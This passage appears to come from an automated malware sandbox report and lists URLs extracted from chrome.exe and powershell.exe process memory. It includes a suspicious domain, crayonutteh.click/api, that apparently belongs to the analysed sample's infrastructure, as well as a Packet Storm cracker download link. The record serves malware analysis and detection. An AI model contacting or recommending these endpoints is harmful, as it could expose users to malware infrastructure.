Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000008.00000002.7120487781.0000584C00096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000008.00000002.7123415790.0000584C00720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000008.00000002.7119793160.0000584800698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: powershell.exe, 00000003.00000002.6176300349.0000000004A71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7003687296.0000000004EB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBgr
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/42265720
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122341169.0000584C00462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://beastacademy.com/checkout/cart
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blog.google/products/chrome/google-chrome-safe-browsing-real-time/
Source: chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7069944692.0000584C0051C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com
Source: chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7126617364.0000584C00BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7127237249.0000584C00C9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cart.godaddy.com/go/checkout
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.stubdownloader.services.mozilla.com/builds/firefox-latest-ssl/en-GB/win64/b5110ff5d41570
Source: chrome.exe, 00000008.00000002.7121356447.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7125554487.0000584C009E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7066237479.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7042534239.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067266668.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070062705.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000008.00000002.7134176332.0000584C017E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128161791.0000584C00E24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7127106336.0000584C00C68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130114476.0000584C01130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000008.00000003.7099269761.0000584C01A68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098299844.0000584C01A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7035687018.0000584800650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7119633890.0000584800654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7032619846.0000584800534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7032727587.000058480053C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7099089938.0000584C01A60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7035321285.0000584800650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7099494361.0000584C01A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098884081.0000584C01A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098579751.0000584C01A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000008.00000003.7099269761.0000584C01A68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098299844.0000584C01A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7035687018.0000584800650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7119633890.0000584800654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7032619846.0000584800534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7032727587.000058480053C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7099089938.0000584C01A60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7035321285.0000584800650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7099494361.0000584C01A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098884081.0000584C01A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098579751.0000584C01A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000008.00000003.7035687018.0000584800650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7119633890.0000584800654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7035321285.0000584800650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000008.00000003.7099269761.0000584C01A68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7119793160.0000584800698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098299844.0000584C01A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7099089938.0000584C01A60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7099494361.0000584C01A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098884081.0000584C01A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098579751.0000584C01A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7032301538.0000584800514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000008.00000002.7121356447.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7042534239.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067266668.0000584C00228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000008.00000002.7125938414.0000584C00A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/category/extensions
Source: chrome.exe, 00000008.00000002.7125938414.0000584C00A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/category/themes
Source: chrome.exe, 00000008.00000003.7025956315.00007178000D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7026027109.00007178000DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7121022017.0000584C00158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7042534239.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067266668.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130114476.0000584C01130000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062605755.0000584C0044C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=128
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://consent.trustarc.com/get?name=crossdomain.html&domain=oracle.com
Source: powershell.exe, 00000005.00000002.7003687296.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.7003687296.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.7003687296.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.7359473533.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7364185501.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crayonutteh.click/
Source: powershell.exe, 00000007.00000002.7363752880.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crayonutteh.click/P
Source: powershell.exe, 00000007.00000002.7359473533.00000000034D7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7358452778.000000000348F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7357562561.000000000345B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7360013309.00000000034FA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7358452778.00000000034BD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7357345204.000000000344D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crayonutteh.click/api
Source: powershell.exe, 00000007.00000002.7360013309.00000000034FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crayonutteh.click/apig3
Source: powershell.exe, 00000007.00000002.7363752880.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crayonutteh.click/apin
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/593024
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/650547
Source: chrome.exe, 00000008.00000002.7129490194.0000584C0103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/655534
Source: chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE
Source: chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXEtall.exe
Source: chrome.exe, 00000008.00000002.7120202707.0000584C00014000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132074434.0000584C013A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131582888.0000584C01300000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132074434.0000584C013A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000008.00000003.7101247013.0000584C01B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7101165151.0000584C01B20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7101326492.0000584C01B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7101410184.0000584C01B2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128039143.0000584C00E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128039143.0000584C00E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultult
Source: chrome.exe, 00000008.00000002.7120202707.0000584C00014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/p
Source: chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7126617364.0000584C00BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7127237249.0000584C00C9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7126617364.0000584C00BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7127237249.0000584C00C9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7126617364.0000584C00BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7127237249.0000584C00C9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7126617364.0000584C00BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7127237249.0000584C00C9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000008.00000002.7127711742.0000584C00D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-GB&attribution_code=c291cm
Source: chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7069880765.0000584C00500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7069944692.0000584C0051C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132146950.0000584C013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128914945.0000584C00F68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131076292.0000584C0123C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132074434.0000584C013A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130114476.0000584C01130000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_defaultt
Source: chrome.exe, 00000008.00000002.7122293388.0000584C0044C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062605755.0000584C0044C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/settings
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7125554487.0000584C009E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=searchTerms
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DigiDNA/ColorSet
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/NetSparkleUpdater/NetSparkle.git
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/NetSparkleUpdater/NetSparkle.gitI
Source: powershell.exe, 00000003.00000002.6174031897.0000000002B21000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.6176300349.0000000004BC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7003687296.0000000005008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.6176300349.0000000004BC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7003687296.0000000005008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester4
Source: powershell.exe, 00000005.00000002.7041071447.0000000007980000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: powershell.exe, 00000005.00000002.7041071447.0000000007980000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: powershell.exe, 00000005.00000002.7041071447.0000000007980000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/XamlBehaviorsWpf
Source: powershell.exe, 00000003.00000002.6176300349.0000000005392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: chrome.exe, 00000008.00000003.7099269761.0000584C01A68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7119793160.0000584800698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098299844.0000584C01A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7099089938.0000584C01A60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7099494361.0000584C01A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098884081.0000584C01A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098579751.0000584C01A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7032301538.0000584800514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000008.00000002.7119793160.0000584800698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/https://google-ohttp-relay-query.fastly-edge.com/htt
